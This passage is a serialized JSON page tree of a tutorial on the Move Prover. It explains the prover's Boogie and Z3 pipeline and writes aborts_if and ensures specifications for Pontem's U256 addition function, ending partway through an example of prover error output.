inputs.",{"type":25,"tag":26,"props":13254,"children":13256},{"id":13255},"move-prover",[13257],{"type":31,"value":13258},"Move Prover",{"type":25,"tag":38,"props":13260,"children":13261},{},[13262],{"type":31,"value":13263},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":25,"tag":38,"props":13265,"children":13266},{},[13267],{"type":31,"value":13268},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":25,"tag":38,"props":13270,"children":13271},{},[13272],{"type":31,"value":13273},"The architecture of the tool consists of multiple components as illustrated below.",{"type":25,"tag":38,"props":13275,"children":13276},{},[13277],{"type":25,"tag":6461,"props":13278,"children":13282},{"alt":13279,"src":13280,"title":13281},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":25,"tag":38,"props":13284,"children":13285},{},[13286],{"type":31,"value":13287},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":25,"tag":38,"props":13289,"children":13290},{},[13291,13293,13300],{"type":31,"value":13292},"The model is translated into an intermediate language, called ",{"type":25,"tag":162,"props":13294,"children":13297},{"href":13295,"rel":13296},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[166],[13298],{"type":31,"value":13299},"Boogie",{"type":31,"value":13301},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":25,"tag":38,"props":13303,"children":13304},{},[13305],{"type":31,"value":13306},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":25,"tag":26,"props":13308,"children":13310},{"id":13309},"move-specification-language",[13311],{"type":31,"value":13312},"Move Specification Language",{"type":25,"tag":38,"props":13314,"children":13315},{},[13316],{"type":31,"value":13317},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":25,"tag":38,"props":13319,"children":13320},{},[13321,13323,13330],{"type":31,"value":13322},"To better understand how to use the MSL, we will use ",{"type":25,"tag":162,"props":13324,"children":13327},{"href":13325,"rel":13326},"https://github.com/pontem-network/u256",[166],[13328],{"type":31,"value":13329},"Pontem's U256 library",{"type":31,"value":13331},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":25,"tag":38,"props":13333,"children":13334},{},[13335],{"type":31,"value":13336},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":25,"tag":206,"props":13338,"children":13340},{"code":13339,"language":6908,"meta":7,"className":6909,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[13341],{"type":25,"tag":82,"props":13342,"children":13343},{"__ignoreMap":7},[13344,13387,13407,13427,13447,13467],{"type":25,"tag":216,"props":13345,"children":13346},{"class":6916,"line":6917},[13347,13352,13356,13361,13366,13370,13375,13379,13383],{"type":25,"tag":216,"props":13348,"children":13349},{"style":6930},[13350],{"type":31,"value":13351},"struct",{"type":25,"tag":216,"props":13353,"children":13354},{"style":7369},[13355],{"type":31,"value":8672},{"type":25,"tag":216,"props":13357,"children":13358},{"style":6941},[13359],{"type":31,"value":13360}," has",{"type":25,"tag":216,"props":13362,"children":13363},{"style":6941},[13364],{"type":31,"value":13365}," copy",{"type":25,"tag":216,"props":13367,"children":13368},{"style":6958},[13369],{"type":31,"value":7020},{"type":25,"tag":216,"props":13371,"children":13372},{"style":6941},[13373],{"type":31,"value":13374},"drop",{"type":25,"tag":216,"props":13376,"children":13377},{"style":6958},[13378],{"type":31,"value":7020},{"type":25,"tag":216,"props":13380,"children":13381},{"style":6941},[13382],{"type":31,"value":9886},{"type":25,"tag":216,"props":13384,"children":13385},{"style":6958},[13386],{"type":31,"value":7235},{"type":25,"tag":216,"props":13388,"children":13389},{"class":6916,"line":6763},[13390,13395,13399,13403],{"type":25,"tag":216,"props":13391,"children":13392},{"style":6941},[13393],{"type":31,"value":13394},"    v0",{"type":25,"tag":216,"props":13396,"children":13397},{"style":6947},[13398],{"type":31,"value":1466},{"type":25,"tag":216,"props":13400,"children":13401},{"style":7369},[13402],{"type":31,"value":9805},{"type":25,"tag":216,"props":13404,"children":13405},{"style":6958},[13406],{"type":31,"value":7459},{"type":25,"tag":216,"props":13408,"children":13409},{"class":6916,"line":6772},[13410,13415,13419,13423],{"type":25,"tag":216,"props":13411,"children":13412},{"style":6941},[13413],{"type":31,"value":13414},"    v1",{"type":25,"tag":216,"props":13416,"children":13417},{"style":6947},[13418],{"type":31,"value":1466},{"type":25,"tag":216,"props":13420,"children":13421},{"style":7369},[13422],{"type":31,"value":9805},{"type":25,"tag":216,"props":13424,"children":13425},{"style":6958},[13426],{"type":31,"value":7459},{"type":25,"tag":216,"props":13428,"children":13429},{"class":6916,"line":6999},[13430,13435,13439,13443],{"type":25,"tag":216,"props":13431,"children":13432},{"style":6941},[13433],{"type":31,"value":13434},"    v2",{"type":25,"tag":216,"props":13436,"children":13437},{"style":6947},[13438],{"type":31,"value":1466},{"type":25,"tag":216,"props":13440,"children":13441},{"style":7369},[13442],{"type":31,"value":9805},{"type":25,"tag":216,"props":13444,"children":13445},{"style":6958},[13446],{"type":31,"value":7459},{"type":25,"tag":216,"props":13448,"children":13449},{"class":6916,"line":7104},[13450,13455,13459,13463],{"type":25,"tag":216,"props":13451,"children":13452},{"style":6941},[13453],{"type":31,"value":13454},"    v3",{"type":25,"tag":216,"props":13456,"children":13457},{"style":6947},[13458],{"type":31,"value":1466},{"type":25,"tag":216,"props":13460,"children":13461},{"style":7369},[13462],{"type":31,"value":9805},{"type":25,"tag":216,"props":13464,"children":13465},{"style":6958},[13466],{"type":31,"value":7459},{"type":25,"tag":216,"props":13468,"children":13469},{"class":6916,"line":7210},[13470],{"type":25,"tag":216,"props":13471,"children":13472},{"style":6958},[13473],{"type":31,"value":7868},{"type":25,"tag":38,"props":13475,"children":13476},{},[13477,13479,13485],{"type":31,"value":13478},"Now, let's consider the ",{"type":25,"tag":82,"props":13480,"children":13482},{"className":13481},[],[13483],{"type":31,"value":13484},"add(a: U256, b: U256): U256",{"type":31,"value":13486}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":25,"tag":38,"props":13488,"children":13489},{},[13490],{"type":31,"value":13491},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":25,"tag":38,"props":13493,"children":13494},{},[13495,13497,13503,13505,13512],{"type":31,"value":13496},"For example, if your file is ",{"type":25,"tag":82,"props":13498,"children":13500},{"className":13499},[],[13501],{"type":31,"value":13502},"sources/u256.move",{"type":31,"value":13504},", you can put specifications in ",{"type":25,"tag":162,"props":13506,"children":13509},{"href":13507,"rel":13508},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[166],[13510],{"type":31,"value":13511},"sources/u256.spec.move",{"type":31,"value":179},{"type":25,"tag":206,"props":13514,"children":13516},{"code":13515,"language":6908,"meta":7,"className":6909,"style":7},"spec add { ... }\n",[13517],{"type":25,"tag":82,"props":13518,"children":13519},{"__ignoreMap":7},[13520],{"type":25,"tag":216,"props":13521,"children":13522},{"class":6916,"line":6917},[13523,13527,13532,13537,13542],{"type":25,"tag":216,"props":13524,"children":13525},{"style":6941},[13526],{"type":31,"value":12221},{"type":25,"tag":216,"props":13528,"children":13529},{"style":6941},[13530],{"type":31,"value":13531}," add",{"type":25,"tag":216,"props":13533,"children":13534},{"style":6958},[13535],{"type":31,"value":13536}," { ",{"type":25,"tag":216,"props":13538,"children":13539},{"style":6947},[13540],{"type":31,"value":13541},"...",{"type":25,"tag":216,"props":13543,"children":13544},{"style":6958},[13545],{"type":31,"value":13546}," }\n",{"type":25,"tag":38,"props":13548,"children":13549},{},[13550,13552,13557],{"type":31,"value":13551},"The specifications placed inside the specification blocks are considered ",{"type":25,"tag":64,"props":13553,"children":13554},{},[13555],{"type":31,"value":13556},"Expressions",{"type":31,"value":179},{"type":25,"tag":607,"props":13559,"children":13561},{"id":13560},"expressions",[13562],{"type":31,"value":13556},{"type":25,"tag":38,"props":13564,"children":13565},{},[13566],{"type":31,"value":13567},"Let's go over some common expressions.",{"type":25,"tag":38,"props":13569,"children":13570},{},[13571,13576],{"type":25,"tag":82,"props":13572,"children":13574},{"className":13573},[],[13575],{"type":31,"value":12271},{"type":31,"value":13577}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":25,"tag":38,"props":13579,"children":13580},{},[13581,13583,13589],{"type":31,"value":13582},"For example, the ",{"type":25,"tag":82,"props":13584,"children":13586},{"className":13585},[],[13587],{"type":31,"value":13588},"add",{"type":31,"value":13590}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":25,"tag":206,"props":13592,"children":13594},{"code":13593,"language":6908,"meta":7,"className":6909,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[13595],{"type":25,"tag":82,"props":13596,"children":13597},{"__ignoreMap":7},[13598,13632,13639,13688,13710,13739,13776,13817,13824,13831,13846,13927],{"type":25,"tag":216,"props":13599,"children":13600},{"class":6916,"line":6917},[13601,13606,13611,13615,13619,13623,13628],{"type":25,"tag":216,"props":13602,"children":13603},{"style":6930},[13604],{"type":31,"value":13605},"const",{"type":25,"tag":216,"props":13607,"children":13608},{"style":6958},[13609],{"type":31,"value":13610}," P64",{"type":25,"tag":216,"props":13612,"children":13613},{"style":6947},[13614],{"type":31,"value":1466},{"type":25,"tag":216,"props":13616,"children":13617},{"style":7369},[13618],{"type":31,"value":12794},{"type":25,"tag":216,"props":13620,"children":13621},{"style":6947},[13622],{"type":31,"value":6950},{"type":25,"tag":216,"props":13624,"children":13625},{"style":6983},[13626],{"type":31,"value":13627}," 0x10000000000000000",{"type":25,"tag":216,"props":13629,"children":13630},{"style":6958},[13631],{"type":31,"value":6961},{"type":25,"tag":216,"props":13633,"children":13634},{"class":6916,"line":6763},[13635],{"type":25,"tag":216,"props":13636,"children":13637},{"emptyLinePlaceholder":16},[13638],{"type":31,"value":7636},{"type":25,"tag":216,"props":13640,"children":13641},{"class":6916,"line":6772},[13642,13646,13650,13655,13659,13663,13667,13671,13675,13679,13684],{"type":25,"tag":216,"props":13643,"children":13644},{"style":6941},[13645],{"type":31,"value":12221},{"type":25,"tag":216,"props":13647,"children":13648},{"style":6941},[13649],{"type":31,"value":10152},{"type":25,"tag":216,"props":13651,"children":13652},{"style":7041},[13653],{"type":31,"value":13654}," value_of_U256",{"type":25,"tag":216,"props":13656,"children":13657},{"style":6958},[13658],{"type":31,"value":1844},{"type":25,"tag":216,"props":13660,"children":13661},{"style":6941},[13662],{"type":31,"value":162},{"type":25,"tag":216,"props":13664,"children":13665},{"style":6947},[13666],{"type":31,"value":1466},{"type":25,"tag":216,"props":13668,"children":13669},{"style":7369},[13670],{"type":31,"value":8672},{"type":25,"tag":216,"props":13672,"children":13673},{"style":6958},[13674],{"type":31,"value":1882},{"type":25,"tag":216,"props":13676,"children":13677},{"style":6947},[13678],{"type":31,"value":1466},{"type":25,"tag":216,"props":13680,"children":13681},{"style":6941},[13682],{"type":31,"value":13683}," num",{"type":25,"tag":216,"props":13685,"children":13686},{"style":6958},[13687],{"type":31,"value":7235},{"type":25,"tag":216,"props":13689,"children":13690},{"class":6916,"line":6999},[13691,13696,13700,13705],{"type":25,"tag":216,"props":13692,"children":13693},{"style":6941},[13694],{"type":31,"value":13695},"    a",{"type":25,"tag":216,"props":13697,"children":13698},{"style":6947},[13699],{"type":31,"value":179},{"type":25,"tag":216,"props":13701,"children":13702},{"style":6958},[13703],{"type":31,"value":13704},"v0 ",{"type":25,"tag":216,"props":13706,"children":13707},{"style":6947},[13708],{"type":31,"value":13709},"+\n",{"type":25,"tag":216,"props":13711,"children":13712},{"class":6916,"line":7104},[13713,13717,13721,13726,13730,13734],{"type":25,"tag":216,"props":13714,"children":13715},{"style":6941},[13716],{"type":31,"value":13695},{"type":25,"tag":216,"props":13718,"children":13719},{"style":6947},[13720],{"type":31,"value":179},{"type":25,"tag":216,"props":13722,"children":13723},{"style":6958},[13724],{"type":31,"value":13725},"v1 ",{"type":25,"tag":216,"props":13727,"children":13728},{"style":6947},[13729],{"type":31,"value":8513},{"type":25,"tag":216,"props":13731,"children":13732},{"style":7369},[13733],{"type":31,"value":13610},{"type":25,"tag":216,"props":13735,"children":13736},{"style":6947},[13737],{"type":31,"value":13738}," +\n",{"type":25,"tag":216,"props":13740,"children":13741},{"class":6916,"line":7210},[13742,13746,13750,13755,13759,13763,13768,13772],{"type":25,"tag":216,"props":13743,"children":13744},{"style":6941},[13745],{"type":31,"value":13695},{"type":25,"tag":216,"props":13747,"children":13748},{"style":6947},[13749],{"type":31,"value":179},{"type":25,"tag":216,"props":13751,"children":13752},{"style":6958},[13753],{"type":31,"value":13754},"v2 ",{"type":25,"tag":216,"props":13756,"children":13757},{"style":6947},[13758],{"type":31,"value":8513},{"type":25,"tag":216,"props":13760,"children":13761},{"style":7369},[13762],{"type":31,"value":13610},{"type":25,"tag":216,"props":13764,"children":13765},{"style":6947},[13766],{"type":31,"value":13767}," *",{"type":25,"tag":216,"props":13769,"children":13770},{"style":7369},[13771],{"type":31,"value":13610},{"type":25,"tag":216,"props":13773,"children":13774},{"style":6947},[13775],{"type":31,"value":13738},{"type":25,"tag":216,"props":13777,"children":13778},{"class":6916,"line":7238},[13779,13783,13787,13792,13796,13800,13804,13808,13812],{"type":25,"tag":216,"props":13780,"children":13781},{"style":6941},[13782],{"type":31,"value":13695},{"type":25,"tag":216,"props":13784,"children":13785},{"style":6947},[13786],{"type":31,"value":179},{"type":25,"tag":216,"props":13788,"children":13789},{"style":6958},[13790],{"type":31,"value":13791},"v3 ",{"type":25,"tag":216,"props":13793,"children":13794},{"style":6947},[13795],{"type":31,"value":8513},{"type":25,"tag":216,"props":13797,"children":13798},{"style":7369},[13799],{"type":31,"value":13610},{"type":25,"tag":216,"props":13801,"children":13802},{"style":6947},[13803],{"type":31,"value":13767},{"type":25,"tag":216,"props":13805,"children":13806},{"style":7369},[13807],{"type":31,"value":13610},{"type":25,"tag":216,"props":13809,"children":13810},{"style":6947},[13811],{"type":31,"value":13767},{"type":25,"tag":216,"props":13813,"children":13814},{"style":7369},[13815],{"type":31,"value":13816}," P64\n",{"type":25,"tag":216,"props":13818,"children":13819},{"class":6916,"line":7251},[13820],{"type":25,"tag":216,"props":13821,"children":13822},{"style":6958},[13823],{"type":31,"value":7868},{"type":25,"tag":216,"props":13825,"children":13826},{"class":6916,"line":7269},[13827],{"type":25,"tag":216,"props":13828,"children":13829},{"emptyLinePlaceholder":16},[13830],{"type":31,"value":7636},{"type":25,"tag":216,"props":13832,"children":13833},{"class":6916,"line":7290},[13834,13838,13842],{"type":25,"tag":216,"props":13835,"children":13836},{"style":6941},[13837],{"type":31,"value":12221},{"type":25,"tag":216,"props":13839,"children":13840},{"style":6941},[13841],{"type":31,"value":13531},{"type":25,"tag":216,"props":13843,"children":13844},{"style":6958},[13845],{"type":31,"value":7235},{"type":25,"tag":216,"props":13847,"children":13848},{"class":6916,"line":7299},[13849,13854,13858,13862,13866,13870,13874,13878,13882,13886,13890,13895,13899,13903,13907,13911,13915,13919,13923],{"type":25,"tag":216,"props":13850,"children":13851},{"style":6941},[13852],{"type":31,"value":13853},"    aborts_if",{"type":25,"tag":216,"props":13855,"children":13856},{"style":7041},[13857],{"type":31,"value":13654},{"type":25,"tag":216,"props":13859,"children":13860},{"style":6958},[13861],{"type":31,"value":1844},{"type":25,"tag":216,"props":13863,"children":13864},{"style":6941},[13865],{"type":31,"value":162},{"type":25,"tag":216,"props":13867,"children":13868},{"style":6958},[13869],{"type":31,"value":7030},{"type":25,"tag":216,"props":13871,"children":13872},{"style":6947},[13873],{"type":31,"value":3533},{"type":25,"tag":216,"props":13875,"children":13876},{"style":7041},[13877],{"type":31,"value":13654},{"type":25,"tag":216,"props":13879,"children":13880},{"style":6958},[13881],{"type":31,"value":1844},{"type":25,"tag":216,"props":13883,"children":13884},{"style":6941},[13885],{"type":31,"value":7165},{"type":25,"tag":216,"props":13887,"children":13888},{"style":6958},[13889],{"type":31,"value":7030},{"type":25,"tag":216,"props":13891,"children":13892},{"style":6947},[13893],{"type":31,"value":13894},">=",{"type":25,"tag":216,"props":13896,"children":13897},{"style":7369},[13898],{"type":31,"value":13610},{"type":25,"tag":216,"props":13900,"children":13901},{"style":6947},[13902],{"type":31,"value":13767},{"type":25,"tag":216,"props":13904,"children":13905},{"style":7369},[13906],{"type":31,"value":13610},{"type":25,"tag":216,"props":13908,"children":13909},{"style":6947},[13910],{"type":31,"value":13767},{"type":25,"tag":216,"props":13912,"children":13913},{"style":7369},[13914],{"type":31,"value":13610},{"type":25,"tag":216,"props":13916,"children":13917},{"style":6947},[13918],{"type":31,"value":13767},{"type":25,"tag":216,"props":13920,"children":13921},{"style":7369},[13922],{"type":31,"value":13610},{"type":25,"tag":216,"props":13924,"children":13925},{"style":6958},[13926],{"type":31,"value":6961},{"type":25,"tag":216,"props":13928,"children":13929},{"class":6916,"line":7551},[13930],{"type":25,"tag":216,"props":13931,"children":13932},{"style":6958},[13933],{"type":31,"value":7868},{"type":25,"tag":38,"props":13935,"children":13936},{},[13937,13939,13946],{"type":31,"value":13938},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":25,"tag":162,"props":13940,"children":13943},{"href":13941,"rel":13942},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[166],[13944],{"type":31,"value":13945},"MSL function",{"type":31,"value":13947},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":25,"tag":38,"props":13949,"children":13950},{},[13951,13953,13958,13959,13964],{"type":31,"value":13952},"A common pattern for ",{"type":25,"tag":82,"props":13954,"children":13956},{"className":13955},[],[13957],{"type":31,"value":12271},{"type":31,"value":1674},{"type":25,"tag":82,"props":13960,"children":13962},{"className":13961},[],[13963],{"type":31,"value":12279},{"type":31,"value":13965},", which lets you prove that a function will never abort.",{"type":25,"tag":206,"props":13967,"children":13969},{"code":13968,"language":6908,"meta":7,"className":6909,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[13970],{"type":25,"tag":82,"props":13971,"children":13972},{"__ignoreMap":7},[13973,13989,14004],{"type":25,"tag":216,"props":13974,"children":13975},{"class":6916,"line":6917},[13976,13980,13985],{"type":25,"tag":216,"props":13977,"children":13978},{"style":6941},[13979],{"type":31,"value":12221},{"type":25,"tag":216,"props":13981,"children":13982},{"style":6941},[13983],{"type":31,"value":13984}," critical_function",{"type":25,"tag":216,"props":13986,"children":13987},{"style":6958},[13988],{"type":31,"value":7235},{"type":25,"tag":216,"props":13990,"children":13991},{"class":6916,"line":6763},[13992,13996,14000],{"type":25,"tag":216,"props":13993,"children":13994},{"style":6941},[13995],{"type":31,"value":13853},{"type":25,"tag":216,"props":13997,"children":13998},{"style":6930},[13999],{"type":31,"value":13006},{"type":25,"tag":216,"props":14001,"children":14002},{"style":6958},[14003],{"type":31,"value":6961},{"type":25,"tag":216,"props":14005,"children":14006},{"class":6916,"line":6772},[14007],{"type":25,"tag":216,"props":14008,"children":14009},{"style":6958},[14010],{"type":31,"value":7868},{"type":25,"tag":38,"props":14012,"children":14013},{},[14014,14016,14022],{"type":31,"value":14015},"Another type of expression that we can use is ",{"type":25,"tag":82,"props":14017,"children":14019},{"className":14018},[],[14020],{"type":31,"value":14021},"ensures",{"type":31,"value":14023},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":25,"tag":38,"props":14025,"children":14026},{},[14027,14029,14034,14036,14041],{"type":31,"value":14028},"In the case of the ",{"type":25,"tag":82,"props":14030,"children":14032},{"className":14031},[],[14033],{"type":31,"value":13588},{"type":31,"value":14035}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":25,"tag":9267,"props":14037,"children":14038},{},[14039],{"type":31,"value":14040},"MSL uses unbounded numbers",{"type":31,"value":14042},", we're able to very cleanly express this property without worrying about overflows.",{"type":25,"tag":206,"props":14044,"children":14046},{"code":14045,"language":6908,"meta":7,"className":6909,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[14047],{"type":25,"tag":82,"props":14048,"children":14049},{"__ignoreMap":7},[14050,14065,14144,14208],{"type":25,"tag":216,"props":14051,"children":14052},{"class":6916,"line":6917},[14053,14057,14061],{"type":25,"tag":216,"props":14054,"children":14055},{"style":6941},[14056],{"type":31,"value":12221},{"type":25,"tag":216,"props":14058,"children":14059},{"style":6941},[14060],{"type":31,"value":13531},{"type":25,"tag":216,"props":14062,"children":14063},{"style":6958},[14064],{"type":31,"value":7235},{"type":25,"tag":216,"props":14066,"children":14067},{"class":6916,"line":6763},[14068,14072,14076,14080,14084,14088,14092,14096,14100,14104,14108,14112,14116,14120,14124,14128,14132,14136,14140],{"type":25,"tag":216,"props":14069,"children":14070},{"style":6941},[14071],{"type":31,"value":13853},{"type":25,"tag":216,"props":14073,"children":14074},{"style":7041},[14075],{"type":31,"value":13654},{"type":25,"tag":216,"props":14077,"children":14078},{"style":6958},[14079],{"type":31,"value":1844},{"type":25,"tag":216,"props":14081,"children":14082},{"style":6941},[14083],{"type":31,"value":162},{"type":25,"tag":216,"props":14085,"children":14086},{"style":6958},[14087],{"type":31,"value":7030},{"type":25,"tag":216,"props":14089,"children":14090},{"style":6947},[14091],{"type":31,"value":3533},{"type":25,"tag":216,"props":14093,"children":14094},{"style":7041},[14095],{"type":31,"value":13654},{"type":25,"tag":216,"props":14097,"children":14098},{"style":6958},[14099],{"type":31,"value":1844},{"type":25,"tag":216,"props":14101,"children":14102},{"style":6941},[14103],{"type":31,"value":7165},{"type":25,"tag":216,"props":14105,"children":14106},{"style":6958},[14107],{"type":31,"value":7030},{"type":25,"tag":216,"props":14109,"children":14110},{"style":6947},[14111],{"type":31,"value":13894},{"type":25,"tag":216,"props":14113,"children":14114},{"style":7369},[14115],{"type":31,"value":13610},{"type":25,"tag":216,"props":14117,"children":14118},{"style":6947},[14119],{"type":31,"value":13767},{"type":25,"tag":216,"props":14121,"children":14122},{"style":7369},[14123],{"type":31,"value":13610},{"type":25,"tag":216,"props":14125,"children":14126},{"style":6947},[14127],{"type":31,"value":13767},{"type":25,"tag":216,"props":14129,"children":14130},{"style":7369},[14131],{"type":31,"value":13610},{"type":25,"tag":216,"props":14133,"children":14134},{"style":6947},[14135],{"type":31,"value":13767},{"type":25,"tag":216,"props":14137,"children":14138},{"style":7369},[14139],{"type":31,"value":13610},{"type":25,"tag":216,"props":14141,"children":14142},{"style":6958},[14143],{"type":31,"value":6961},{"type":25,"tag":216,"props":14145,"children":14146},{"class":6916,"line":6772},[14147,14152,14156,14160,14164,14168,14172,14176,14180,14184,14188,14192,14196,14200,14204],{"type":25,"tag":216,"props":14148,"children":14149},{"style":6941},[14150],{"type":31,"value":14151},"    ensures",{"type":25,"tag":216,"props":14153,"children":14154},{"style":7041},[14155],{"type":31,"value":13654},{"type":25,"tag":216,"props":14157,"children":14158},{"style":6958},[14159],{"type":31,"value":1844},{"type":25,"tag":216,"props":14161,"children":14162},{"style":6941},[14163],{"type":31,"value":13031},{"type":25,"tag":216,"props":14165,"children":14166},{"style":6958},[14167],{"type":31,"value":7030},{"type":25,"tag":216,"props":14169,"children":14170},{"style":6947},[14171],{"type":31,"value":12522},{"type":25,"tag":216,"props":14173,"children":14174},{"style":7041},[14175],{"type":31,"value":13654},{"type":25,"tag":216,"props":14177,"children":14178},{"style":6958},[14179],{"type":31,"value":1844},{"type":25,"tag":216,"props":14181,"children":14182},{"style":6941},[14183],{"type":31,"value":162},{"type":25,"tag":216,"props":14185,"children":14186},{"style":6958},[14187],{"type":31,"value":7030},{"type":25,"tag":216,"props":14189,"children":14190},{"style":6947},[14191],{"type":31,"value":3533},{"type":25,"tag":216,"props":14193,"children":14194},{"style":7041},[14195],{"type":31,"value":13654},{"type":25,"tag":216,"props":14197,"children":14198},{"style":6958},[14199],{"type":31,"value":1844},{"type":25,"tag":216,"props":14201,"children":14202},{"style":6941},[14203],{"type":31,"value":7165},{"type":25,"tag":216,"props":14205,"children":14206},{"style":6958},[14207],{"type":31,"value":7791},{"type":25,"tag":216,"props":14209,"children":14210},{"class":6916,"line":6999},[14211],{"type":25,"tag":216,"props":14212,"children":14213},{"style":6958},[14214],{"type":31,"value":7868},{"type":25,"tag":38,"props":14216,"children":14217},{},[14218],{"type":31,"value":14219},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":25,"tag":38,"props":14221,"children":14222},{},[14223],{"type":31,"value":14224},"Let's try to prove the library with the specifications from above:",{"type":25,"tag":206,"props":14226,"children":14228},{"code":14227,"language":8184,"meta":7,"className":8185,"style":7},"$ move prove\n",[14229],{"type":25,"tag":82,"props":14230,"children":14231},{"__ignoreMap":7},[14232],{"type":25,"tag":216,"props":14233,"children":14234},{"class":6916,"line":6917},[14235,14240,14245],{"type":25,"tag":216,"props":14236,"children":14237},{"style":7041},[14238],{"type":31,"value":14239},"$",{"type":25,"tag":216,"props":14241,"children":14242},{"style":8199},[14243],{"type":31,"value":14244}," move",{"type":25,"tag":216,"props":14246,"children":14247},{"style":8199},[14248],{"type":31,"value":14249}," prove\n",{"type":25,"tag":38,"props":14251,"children":14252},{},[14253],{"type":31,"value":14254},"It outputs the following error information:",{"type":25,"tag":206,"props":14256,"children":14258},{"code":14257,"language":8184,"meta":7,"className":8185,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[14259],{"type":25,"tag":82,"props":14260,"children":14261},{"__ignoreMap":7},[14262,14270,14277,14339,14360,14449,14517,14529,14537,14544,14551,14558,14576,14636,14653,14670,14742,14758,14766,14773,14823,14831,14848],{"type":25,"tag":216,"props":14263,"children":14264},{"class":6916,"line":6917},[14265],{"type":25,"tag":216,"props":14266,"children":14267},{"style":6958},[14268],{"type":31,"value":14269},"[...]\n",{"type":25,"tag":216,"props":14271,"children":14272},{"class":6916,"line":6763},[14273],{"type":25,"tag":216,"props":14274,"children":14275},{"emptyLinePlaceholder":16},[14276],{"type":31,"value":7636},{"type":25,"tag":216,"props":14278,"children":14279},{"class":6916,"line":6772},[14280,14285,14290,14295,14300,14305,14310,14315,14320,14325,14329,14334],{"type":25,"tag":216,"props":14281,"children":14282},{"style":7041},[14283],{"type":31,"value":14284},"error:",{"type":25,"tag":216,"props":14286,"children":14287},{"style":8199},[14288],{"type":31,"value":14289}," abort",{"type":25,"tag":216,"props":14291,"children":14292},{"style":8199},[14293],{"type":31,"value":14294}," not",{"type":25,"tag":216,"props":14296,"children":14297},{"style":8199},[14298],{"type":31,"value":14299}," covered",{"type":25,"tag":216,"props":14301,"children":14302},{"style":8199},[14303],{"type":31,"value":14304}," by",{"type":25,"tag":216,"props":14306,"children":14307},{"style":8199},[14308],{"type":31,"value":14309}," any",{"type":25,"tag":216,"props":14311,"children":14312},{"style":8199},[14313],{"type":31,"value":14314}," of",{"type":25,"tag":216,"props":14316,"children":14317},{"style":8199},[14318],{"type":31,"value":14319}," the",{"type":25,"tag":216,"props":14321,"children":14322},{"style":8199},[14323],{"type":31,"value":14324}," `",{"type":25,"tag":216,"props":14326,"children":14327},{"style":7041},[14328],{"type":31,"value":12271},{"type":25,"tag":216,"props":14330,"children":14331},{"style":8199},[14332],{"type":31,"value":14333},"`",{"type":25,"tag":216,"props":14335,"children":14336},{"style":7041},[14337],{"type":31,"value":14338}," clauses\n",{"type":25,"tag":216,"props":14340,"children":14341},{"class":6916,"line":6999},[14342,14347,14352,14356],{"type":25,"tag":216,"props":14343,"children":14344},{"style":7041},[14345],{"type":31,"value":14346},"╭",{"type":25,"tag":216,"props":14348,"children":14349},{"style":8199},[14350],{"type":31,"value":14351},"     